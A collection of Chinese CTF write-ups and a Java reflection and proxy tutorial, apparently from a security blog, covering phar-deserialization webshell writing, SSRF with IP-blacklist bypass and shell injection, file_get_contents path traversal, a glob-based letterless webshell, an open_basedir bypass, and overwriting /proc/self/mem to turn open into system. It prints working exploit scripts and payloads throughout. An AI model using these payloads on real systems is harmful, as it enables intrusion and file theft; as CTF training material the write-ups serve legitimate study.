0%

Easyphp

题目给出源码:

 <?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}
if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?> 
  • 这里存在一个变量覆盖extract($_GET['var'], EXTR_OVERWRITE);,只需覆盖$template

即可,读取任意文件,直接读取template.php,得到源码:

http://8.129.41.25:10305/?var[template][a]=template.php&tp=a
  • template.php
<?php
class Template{
    public $content;
    public $pattern;
    public $suffix;

    public function __construct($content){
        $this->content = $content;
        $this->pattern = "/{{([a-z]+)}}/";
        $this->suffix = ".html";
    }

    public function __destruct() {
        $this->render();
    }
    public function render() {
        while (True) {
            if(preg_match($this->pattern, $this->content, $matches)!==1) 
                break;
            global ${$matches[1]};

            if(isset(${$matches[1]})) {
                $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
            } 
            else{
                break;
            }
        }
        if(strlen($this->suffix)>5) {
            echo "error suffix";
            die();
        }
        $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
        file_put_contents($filename, $this->content);
        echo "Your html file is in " . $filename;
    }
}

?>

源码比较简单,在前面的源码通过file_getcontents读取到内容之后传入Template类再写入文件。由于file_getcontents的参数完全可控,我们可以远程下载文件到靶机,并且可以使用phar反序列化可以控制suffix属性,把写入文件的后缀改成PHP,导致rce.

Exp:

<?php
class Template{
 public $content;
 public $pattern;
 public $suffix;

 public function __construct($content){
  $this->content = $content;
  $this->pattern = "/{{([a-z]+)}}/";
  $this->suffix = ".php";
 }
}
    @unlink("test.phar");
    $phar = new Phar("test.phar");//后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
    $o = new Template("<?php system(\$_GET[_]);?>");
    $phar->setMetadata($o);//将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test");//添加要压缩的文件
    $phar->stopBuffering();
?>
  • 下载到靶机:

WX20201225-175549@2x

  • 反序列化

WX20201225-175738@2x

  • 读取flag

WX20201225-175957@2x

easyjs

源码:

/routes/index.js
var express = require('express');
var config = require('../config');
var url=require('url');
var child_process=require('child_process');
var fs=require('fs');
var request=require('request');
var router = express.Router();


var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];

router.get('/', function(req, res, next) {
    res.json({});
});

router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
    var u=req.query.url.replace(/[\"\']/ig,'');
    console.log(url.parse(u).href);
    let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
    console.log(log);
    child_process.exec(log);
    res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});


router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
    var urlObject=url.parse(u);
    if(blacklist.indexOf(urlObject.hostname) == -1){
        var dest=urlObject.href;
        request(dest,(err,result,body)=>{
            res.json(body);
        })
    }
    else{
        res.json([]);
    }
    }
});
module.exports = router;
  • GET 的debug路由中有一个命令执行,会将结果写入/tmp/log,但是要进入这个命令执行的分支必须通过ip黑名单的检测。`blacklist.indexOf(req.ip)!=-1。

  • 我们在来看POST的debug路由很明显是一个SSRF。这里传递一个参数url,URL经过:url.parse解码后hostname不能再黑名单中。黑名单过滤的不全我们完全可以用十进制胡总八进制的方式绕过例如:http://2130706433/http://0177.0.0.01/

  • 绕过SSRF之后我们就是要闭合单引号来执行多条命令了,这里有一个trick在@符号之前输入%27,会经过url解码变成单引号。

所以最终payload是:

url= http://2130706433:10300/debug?url=http://%2527@1;cp$IFS$9/flag$IFS$9/tmp/log;%23

WechatIMG9620

babyphp Write Up

题目是一个内网的扫描器,直接扫描内网端口看看。抓包发现提示去谷歌搜索找源码

WX20201223-192602@2x

谷歌搜到源码:

<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; 

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
 $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
 if ($conn) {
 fclose($conn);
 return true;
 }
}


function scanip($ip,$timeout,$portarr){
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();

}

}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){

$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip);
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){ 
    $ch = curl_init(); 
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header 
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
    curl_setopt($ch, CURLOPT_TIMEOUT, 120); 
    $result = curl_exec($ch); 
  global $header; 
  if($result){ 
       $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); 
       $header = explode("\r\n",substr($result, 0, $headerSize)); 
       $body = substr($result, $headerSize); 
  } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') { 
        return $body; 
    } 
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') { 
    $location = getHeader("Location"); 
    if(strpos(getHeader("Location"),'http://') == false){ 
      $location = getHost($url).$location; 
    } 
        return getHtmlContext($location); 
    } 
    return NULL; 
} 

function getHost($url){ 
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches); 
    return $matches[0]; 
} 
function getCss($host,$html){ 
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches); 
    foreach($matches[1] as $v){ 
    $cssurl = $v; 
        if(strpos($v,'http://') == false){ 
      $cssurl = $host."/".$v; 
    } 
    $csshtml = "<style>".file_get_contents($cssurl)."</style>"; 
    $html .= $csshtml; 
  } 
  return $html; 
} 

if($url != null){ 

    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}
?>

发现除了代码功能还存在SSRF。通过GET传参,可以调用getHtmlContext()获取页面源码,而getCss()能够获取页面的CSS。getHtmlContext()虽然能够通过file:\\协议读取flag,但是返回的code必须是200才有可能返回内容,如果是这里getflag的话必须要让code为200,暂时不知道有没有方法,暂时放一边。

WX20201223-194621@2x

第二个就是getCss()中的file_get_contents(),其中的参数「$cssurl」来源于getHtmlContext()读取远程页面内容中匹配到的<link>标签中的href.那么我们是否能够控制远程页面中的<link>标签中的href为flag地址,从而读取到flag呢?

WX20201223-195012@2x

但是这个正则表达式需要匹配css文件,但是这歌正则只需要含有.css这个关键字即可。

WX20201223-195239@2x

但是代码中需要含有http://否则会自动拼接一个http://host

WX20201223-195416@2x

我们知道file_get_contents这个函数在遇到不认识的协议头会造成目录穿越问题。同时strpos($v,'http://')只是字符串中是否存在http://而没有写死。我们只需要添加协议头中含有http://即可。例如:shttp://所以我们构造如下payload即可:

<link rel="stylesheet" type="text/css"  href="shttp:///../../../../../../../../../etc/password/.css/../../../../../../etc/passwd" />

将上面payload保存的自己的服务器,再提交给靶机即可直接读取到/etc/passwd

WX20201223-200254@2x

修改一下读取flag。

WX20201223-200056@2x

概念

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制

简单实例

获取类对象

package test;
import java.lang.Class.*;

public class reflection1 {
    public static void main(String[] args) throws Exception {
            Class.forName("test.xxx");
    }
}
class xxx{
    public void  xxx(){
        System.out.println("hello world");
    }
    static {
        System.out.println("test1");
    }
    {
        System.out.println("test2");
    }
}
  • forName方法获取一个类的时候会调用这个类的static静态代码。

WX20201115-134345@2x

获取类方法

获取全部方法

  • getMethod来获取函数的方法,执行invoke后通过newInstance来调用构造函数,但是{}的优先级会比构造方法高,所以运行结果会是先{}、构造方法、普通方法。
package test;
public class reflection1 {
    public static void main(String[] args) throws Exception {
        Class clazz=Class.forName("test.xxx");
        //实例化类,然后调用方法
        clazz.getMethod("hello").invoke(clazz.newInstance());
    }
}
class xxx{
    public   xxx(){
        System.out.println("test1");
    }
    public void hello(){
        System.out.println("hello");
    }
    static {
        System.out.println("test2");
    }
    {
        System.out.println("test3");
    }
}
  • 运行结果

WX20201115-143559@2x

获取无参数构造方法

  • 同样先需要获取到对应的类对象,然后通过getDeclaredConstructor方法来获取构造方法,这里有个细节如果获取的构造方法是私有(private)时候需要使用setAccessible,最后使用newInstance来创建实例。
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?> constructor = clazz.getDeclaredConstructor();
        constructor.setAccessible(true);
        constructor.newInstance();
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}

获取含参数构造方法

  • 同样使用getDeclaredConstructor方法来获取,但是需要指定参数数据类型。然后在newInstance传参即可。
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        constructor.newInstance("黄莉荃");
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}
getDeclaredConstructors
  • getDeclaredConstructors将会返回所有构造方法的数组

WX20201115-153623@2x

  • 以获取索引为2的方法为例:
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class reflection1 {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException {
        Class<?> clazz = Class.forName("test.zzz");
        Constructor<?>[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[2];
        constructor.setAccessible(true);
//      输出内容
        System.out.println(constructor);
        constructor.newInstance(18,"黄莉荃");
    }
}
class zzz{
    private zzz(){
        System.out.println("this is zzz");
    }
    private zzz(String name){
        System.out.println("this is "+name);
    }
    private zzz(int age,String name){
        System.out.println("this is "+age+":"+name);
    }
}

WX20201115-154252@2x

获取字段

  • 通过getDeclaredField来获取字段,如果是私有字段只需加上field.setAccessible(true);即可
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        //获取类
        Class clazz=Class.forName("test.test");
        //获取私有方法
        Constructor c = clazz.getDeclaredConstructor();
        //获取私有字段
        Field field = clazz.getDeclaredField("age");
        System.out.println(field.get(c.newInstance()));
    }
}

class test{
    public test(){
        System.out.println("test");
    }
    public int age=222;
}

修改字段值

  • 使用set方法即可修改
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        //获取类
        Class clazz=Class.forName("test.test");
        //获取私有方法
        Constructor c = clazz.getDeclaredConstructor();
        //获取私有字段
        Object o = c.newInstance();
        Field field = clazz.getDeclaredField("age");
        field.set(o,1111);
        System.out.println(field.get(o));
    }
}

class test{
    public test(){
        System.out.println("test");
    }
    public int age=222;
}

反射调用java.lang.Runtime

利用方法一
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        Class clazz = Class.forName("java.lang.Runtime");
        Constructor c = clazz.getDeclaredConstructor();
        c.setAccessible(true);
        clazz.getMethod("exec", String.class).invoke(c.newInstance(),"open /Users/gqleung/Desktop/aaaa.txt");
    }
}
  • 成功打开桌面的aaaa.txt

WX20201115-160241@2x

利用方法二
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class reflection1 {
    public static <Feild> void main(String[] args) throws Exception {
        Class clazz=Class.forName("java.lang.Runtime");
        clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"ping y3qge8.dnslog.cn");
    }
}

WX20201115-161159@2x

接口

基本格式

[可见度] interface 接口名称 [extends 其他的接口名] {
        // 声明变量
        // 抽象方法
}

//接口类的实现
...implements 接口名称[, 其他接口名称, 其他接口名称..., ...] ...

例子

package com.xxxx.helloworld;
//import java.lang.*;

//调用接口
public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        m.sayHello("aaa");
    }
}

//定义接口
interface IHello {

    void sayHello(String name);

    void sayGoogBye(String name);

}
//定义类
class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoogBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}

实际用途引入

  • 假设我们需要在每次问候他人的时候做一个日志记录,这时候我们只需要在Helloimplements加一个写日志的方法即可,但是如果这个Helloimplements是在封装好的JAR里面呢,我们没法修改代码呢?

静态代理

  • 为了实现上述需求我们可以使用静态代理,创建一个新的类作为代理类,具体实现如下,虽然有点像继承,但是本质上还是有所区别,代理的是接口而非类。也就是将一个接口实例化成对象后传入代理类中,代理类相对应的(名称一致)的方法上进行调用对应方法,然后添加我们想增加的功能。这就是所谓的静态代理。
package com.xxxx.helloworld;
//import java.lang.*;


public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        StaicProxy proxy = new StaicProxy();
        proxy.setImpl(m);
        proxy.sayHello("黄莉荃");
    }
}


interface IHello {

    void sayHello(String name);

    void sayGoodBye(String name);

}

class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoodBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}

class StaicProxy implements IHello{
    private IHello iHello;
    public  void setImpl(IHello impl){
        this.iHello=impl;
    }
    @Override
    public void sayHello(String name) {
        System.out.println("logs:SayHello");
        iHello.sayHello(name);
    }

    @Override
    public void sayGoodBye(String name) {
        System.out.println("logs:SayGoodBye");
        iHello.sayHello(name);
    }
}

动态代理

  • 动态代理(dynamic proxy)同样需要一个代理类来代理接口,其中比较关键的是newProxyInstance这个方法来实现代理:
newProxyInstance
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
       throws IllegalArgumentException
  • 参数:

loader: 用哪个类加载器去加载代理对象

interfaces:动态代理类需要实现的接口

h:动态代理方法在执行时,会调用h里面的invoke方法去执行

  • 实例:

    • 在代理类中使用一个bind方法来调用newProxyInstance,因为传入的是接口实例化后的对象,所以形参也是Object类型,然后我们将newProxyInstance返回的对象return.
       public Object bind(Object delegate){
            this.delegate = delegate;
            return  Proxy.newProxyInstance(
              this.delegate.getClass().getClassLoader(),this.delegate.getClass().getInterfaces(),this);
        }
InvocationHandler
  • 和前面静态代理一样我们需要定义一个代理类,这个类需要implementsInvocationHandler,我们在使用newProxyInstance返回的对象调用相应的方法时候,InvocationHandler会自动调用invoke方法。所以在代理类里面需要定义一个invoke方法。
invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("记录日志");
        Object result = method.invoke(vehical, args);
        return result;
    }
  • 参数

proxy:就是代理对象,newProxyInstance方法的返回对象

method:调用的方法

args: 方法中的参数

实例
package com.xxxx.helloworld;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;



public class Hello {
    public static void main(String[] args) {
        Helloimplements m = new Helloimplements();
        DynaProxy proxy = new DynaProxy();
        IHello ihello = (IHello) proxy.bind(m);
        ihello.sayHello("黄莉荃");
    }
}


interface IHello {
    void sayHello(String name);
    void sayGoodBye(String name);
}

class Helloimplements implements IHello {
    @Override
    public void sayHello(String name) {
        System.out.println("Hello " + name);
    }
    @Override
    public void sayGoodBye(String name) {
        System.out.println(name+" GoodBye!");
    }
}
class DynaProxy implements InvocationHandler{
    private Object delegate;
    public Object bind(Object delegate){
        this.delegate = delegate;
        return  Proxy.newProxyInstance(
          this.delegate.getClass().getClassLoader(),this.delegate.getClass().getInterfaces(),this);
    }
    public Object invoke(Object proxy,Method method,Object[] args ) throws  Throwable{
        Object result =null;
        try{
            String originalName = method.getName();
            if(originalName.equals("sayHello")){
                System.out.println("logs:sayHello");
            }else if(originalName.equals("sayGoodbye")){
                System.out.println("logs:sayGoodbye");
            }

            result = method.invoke(this.delegate,args);
        }
        catch (Exception e){
            e.printStackTrace();
        }
        return result;
    }

}
分析
  • 我们在bind处进行断点,可以看到Helloimplements对象传入。并赋值给delegate

WX20201114-133749@2x

  • 跳到下一步可以看到调用了Proxy.newProxyInstance.

WX20201114-143013@2x

  • 我们断点在ihello.sayHello("黄莉荃");可以看到虽然ihello的静态类型是IHello但是实际的数据类型是$Proxy0.说明这个变量是被JVM加工过的。

WX20201114-144902@2x

  • 当这个被JVM加工过的变量的sayHello或者sayGoodbye方法被调用时候,将由JVM自动转交到invoke下去。

WX20201114-145321@2x

前言

  • 前几天曾经教过的学员给我甩来了这么一道题。虽然想出了用通配符做,但是没有实际做出来,总的来说就是对无字母的webshell学习不够仔细,限于做出一道CTF题目为止的,蜻蜓点水的状态。

题目解决流程

题目源码

 <?php
if(isset($_GET['evil'])){
    if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){
        die("danger!!");
    }
    @eval($_GET['evil']);
}
highlight_file(__FILE__);
?>

单个字符的Fuzz

  • 题目主要是过滤了单个字符,这种Fuzz能够快速得知我们还有哪些字符能够用。编写一个脚本:
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
    if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {
        echo (chr($ascii));
    }
}
?>
//运行结果
// !#%&*+,-./:;?@[\]^`{|}~��������������������������������������������������������������������������������������������������������������������������������[Finished in 0.3s]
  • 可以快速地看到,我们呢广告用 的只有(!#%&*+,-./:;?@[]^`{|}~),这里$,()都已经被过滤,不论是取反、异或、或运算、位运算都是通过动态拼接函数来实现执行任意代码的。这里还不能使用可见的字符,使用require来包含flag也是不可能实现的。这里还能用的就是反引号了。我们知道反引号能执行shell,它本质就是调用shell_exec,这个函数执行的shell是不会有回显的,就算catflag也不会显示出来。做到这里基本就没有思路了。

有趣的Linux shell

  • 回看P神的《无字母数字webshell之提高篇》 ,可以 知道这么两个有趣的shell知识点:

1.shell下可以利用.来执行任意脚本

2.Linux文件名支持用glob通配符代替

WX20201015-090013@2x

  • 但是我们用通配符来执行这个SB脚本的时候却会报错:

WX20201015-090353@2x

  • 这说明我们能够匹配上??的文件或者目录很多,我们直接列出来看看

WX20201015-093749@2x

  • 这说明两个字符的文件还是有很多的,我们必须匹配上我们唯一的文件才有可能直线我们想要直接的代码。
有趣的glob通配符
  • 我们都认识*?这两个通配符,其实在glob语法里面还支持类似于正则表达式的语法。例如[^S]就是排除掉S字母,我们可以排除掉S字母然后再列目录看看,就会发现SB这个文件被排除在外。

WX20201015-094327@2x

  • 但是这里我们的要求是不能有字母数字,我们刚才说了glob是支持类似正则表达式的用法,如[0-9],是支持的,那么我们在aiisc表中找出两个包含大写字母之间的字符就行了这样我们就能够成功获取到SB文件。

aiisc

  • 从AIISC表中我们可以知道,@-[是在大写字母之间的,那么我构造[@-[]?是不是能够匹配到SB了呢?答案是肯定的。

WX20201015-145223@2x

  • 其实我们PHP在接受上传表单的文件流后会将文件保存到/tmp文件夹中,不论后端是否有编写上传的代码。而这个文件类似于这样的命名方式:/tmp/phpXXXXXX.

67a4aab1-9e90-43e6-b3f1-3569c7009390.423d9ca7066c

  • 和上面讨论的一样,这样匹配出来的回匹配到很多文件,我哦们可以看到后面两位或者一位可能是大写这样我们就可以用.+/???/????????[@-[]来匹配执行文件。

WX20201015-212645@2x

  • 直接getflag

WX20201015-212949@2x

NEWUPLOAD

  • 一开始比赛一直上传503,以为环境坏了。复现发现.htaccess可以直接上传,图片只能上传jpg.搞一个图片马,后缀直接换行绕过。

WX20201012-000158@2x

Bypass open_dir

  • 由于开了open_dir读不了根目录。所以直接bypass open_dir,bypass代码。
<?php
ini_set('open_basedir','/tmp');
mkdir('/tmp/fuck/');
chdir('/tmp/fuck/');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));
?>
  • 直接上传读到根目录文件情况。

WX20201012-000711@2x

Getflag

  • 可以看到有readflag

WX20201012-000850@2x

  • 直接上.htaccess让它解析lua,再用lua读flag.

  • .htaccess

AddHandler lua-script .lua

WX20201012-001057@2x

  • lua脚本
require "string"

--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)
    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end
  • Getflag

WX20201012-001357@2x

前言

  • (文章首发于合天智汇)比赛时候没能做出来,其实这道题就是一道pwn题。

任意文件读取

  • 抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。

WX20201013-112129@2x

  • 读取题目全部源码:

backend.php

<?php

$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) {
    echo file_get_contents($_GET['readfile']);
}
?>

index.php

<?php

if(!isset($_COOKIE['sandbox'])) {
  $uuid = system("/var/www/html/copy");
  setcookie("sandbox", $uuid);
  header("Location: sandbox/".$uuid);
} else {
  header("Location: sandbox/".$_COOKIE['sandbox']);
}

文件写入

  • 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。
  • 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)

内存泄露和动态链接库

/proc/self/maps

包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
  • 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。

WX20201013-114932@2x

  • 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590

WX20201013-115346@2x

  • 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>

计算偏移

  • 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。

  • 这里需要用到/proc/self/exe

在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.

在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.

  • 同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。
<?php
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM 
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];

            }

            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>

修改进程内存

/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

  • 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。

